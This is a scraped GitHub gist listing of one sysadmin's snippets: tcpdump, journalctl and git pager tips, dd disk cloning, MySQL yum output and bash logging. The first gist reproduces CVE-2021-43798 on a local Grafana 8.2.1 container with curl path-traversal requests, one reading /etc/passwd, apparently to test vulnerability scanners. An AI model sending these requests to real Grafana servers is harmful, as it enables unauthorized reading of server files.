Skip to content

Instantly share code, notes, and snippets.


Stefan Lasiewski stefanlasiewski

  • LBNL (Lawrence Berkeley National Laboratory)
  • Berkeley, CA
View GitHub Profile
stefanlasiewski /
Last active Dec 14, 2021
CVE-2021-43798 vs Trivy, Grype and Snyk

This container is vulnerable:

stefanl@stefanl:~ $ docker run --rm -d --name=grafana -p 3000:3000 grafana/grafana:8.2.1
stefanl@stefanl:~ $ curl --path-as-is http://localhost:3000/public/plugins/mysql/../../../../../VERSION
stefanl@stefanl:~ $ curl --path-as-is http://localhost:3000/public/plugins/mysql/../../../../../../../../etc/passwd | head -3
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1230 100 1230 0 0 400k 0 --:--:-- --:--:-- --:--:-- 400k
stefanlasiewski /
Last active Aug 7, 2021
tcpdump on all interfaces at one
# USAGE: [-i interface] [tcpdump-parameters]
# DESCRIPTION: tcpdump on any interface and add the prefix [Interace:xy] in front of the dump data.
# OPTIONS: same as tcpdump
# REQUIREMENTS: tcpdump, sed, ifconfig, kill, awk, grep, posix regex matching
# BUGS: ---
# FIXED: - In 1.0 The parameter -w would not work without -i parameter as multiple tcpdumps are started.
stefanlasiewski / journalctl-and-less.txt
Created May 22, 2020
Use journalctl (systemd) with less, cat or tail
View journalctl-and-less.txt
By default, `journalctl` will print the logs through a pager which can hide results from you. This can be annoying when trying to capture a screenshot:
root@docker01:~# journalctl -xe -u docker
May 21 23:25:40 docker01 dockerd[123]: time="2020-05-21T23:25:40.376573968Z" level=info msg="ign
May 22 00:45:37 docker01 dockerd[123]: time="2020-05-22T00:45:37.971043364Z" level=info msg="ign
lines 1006-1046/1046 (END)
Instead, pipe `journalctl` through `less`, `cat` or `tail` to quickly get familiar features such as wrapped lines:
root@docker01:~# journalctl -xe -u docker
stefanlasiewski / git-branch-and-cat.txt
Created May 22, 2020
Print all git branches without needing to quit or needing to remember yet another flag
View git-branch-and-cat.txt
By default, `git branch` by default uses a pager, which requires that you quit out of the pager, which erases the results fmor your screen
stefanl@stefanl:zfs git branch --all
* master
remotes/origin/HEAD -> origin/master
stefanlasiewski / gist:d64bbc4a7a81079b4958b7f87472ea2e
Last active Jan 26, 2020
Using DD & PV for disk cloning with progress
View gist:d64bbc4a7a81079b4958b7f87472ea2e
# Coreutils 8.24+ ships with dd with the status=progress option
root@host:~# dd if=/dev/sdb conv=sync,noerror status=progress | lz4 > disk.img.lz4
1430323712 bytes (1.4 GB, 1.3 GiB) copied, 41 s, 34.9 MB/s
# pv (Pipeview) can also show a nice progress bar
root@host:~# dd if=/dev/sdb conv=sync,noerror | pv -tpreb | lz4 > ~stefanl/touch.img.lz4
472MiB 0:00:14 [36.0MiB/s] [ <=> ]
View gist:edb1a11df5174b4d6ce34223cba10e43
[root@devdb ~]# yum list --quiet mysql-community-server mysql-community-client mysql-community-libs mysql-community-common mysql-community-libs-compat
Available Packages
mysql-community-client.x86_64 5.7.22-1.el6 mysql57-community
mysql-community-common.x86_64 5.7.22-1.el6 mysql57-community
mysql-community-libs.x86_64 5.7.22-1.el6 mysql57-community
mysql-community-libs-compat.x86_64 5.7.22-1.el6 mysql57-community
mysql-community-server.x86_64 5.7.22-1.el6 mysql57-community
[root@devdb ~]# yum --quiet downgrade mysql-community-libs-5.7.22-1.el6.x86_64 mysql-community-common-5.7.22-1.
el6.x86_64 mysql-community-client-5.7.22-1.el6.x86_64 mysql-community-libs-compat-5.7.22-1.el6.x86_64 mys
stefanlasiewski / gist:1d71ee0ece9c65bd1365968c954422c0
Created May 22, 2018
Removing MySQL Server wants to remove postfix, cronie, redhat-lsb-core & more
View gist:1d71ee0ece9c65bd1365968c954422c0
[root@devdb ~]# yum remove mysql-commercial\*
Loaded plugins: fastestmirror, priorities, ps, security, versionlock
Setting up Remove Process
Resolving Dependencies
--> Running transaction check
---> Package mysql-commercial-client.x86_64 0:5.7.22-1.1.el6 will be erased
---> Package mysql-commercial-common.x86_64 0:5.7.22-1.1.el6 will be erased
---> Package mysql-commercial-libs.x86_64 0:5.7.22-1.1.el6 will be erased
--> Processing Dependency: mysql-libs for package: 2:postfix-2.6.6-6.el6_5.x86_64
---> Package mysql-commercial-libs-compat.x86_64 0:5.7.22-1.1.el6 will be erased
#!/usr/bin/env bash
#set -xv
# Update MacPorts base to latest released version using 'selfupdate'
# Then upgrade all outdated ports (upgrade outdated), and uninstall old version of each port (-u),
# following these guides:
View gist:456bdb5476ecce9cdfee67127c42d92b
# Tested from a Mac command-line
$ dig +noall +answer SFDPH.ORG
$ dig +noall +answer www.SFDPH.ORG 1638 IN CNAME 29 IN A
stefanlasiewski / logging-test.bash
Last active Mar 6, 2018
Easy logging for any bash script
View logging-test.bash
#!/usr/bin/env bash
# A handy way to redirect script output to syslog
# Way more granular then adding a bunch of `/usr/bin/logger` stanzas
# Thanks to &
# Eric at
echo "writing to stdout, before the I/O redirection"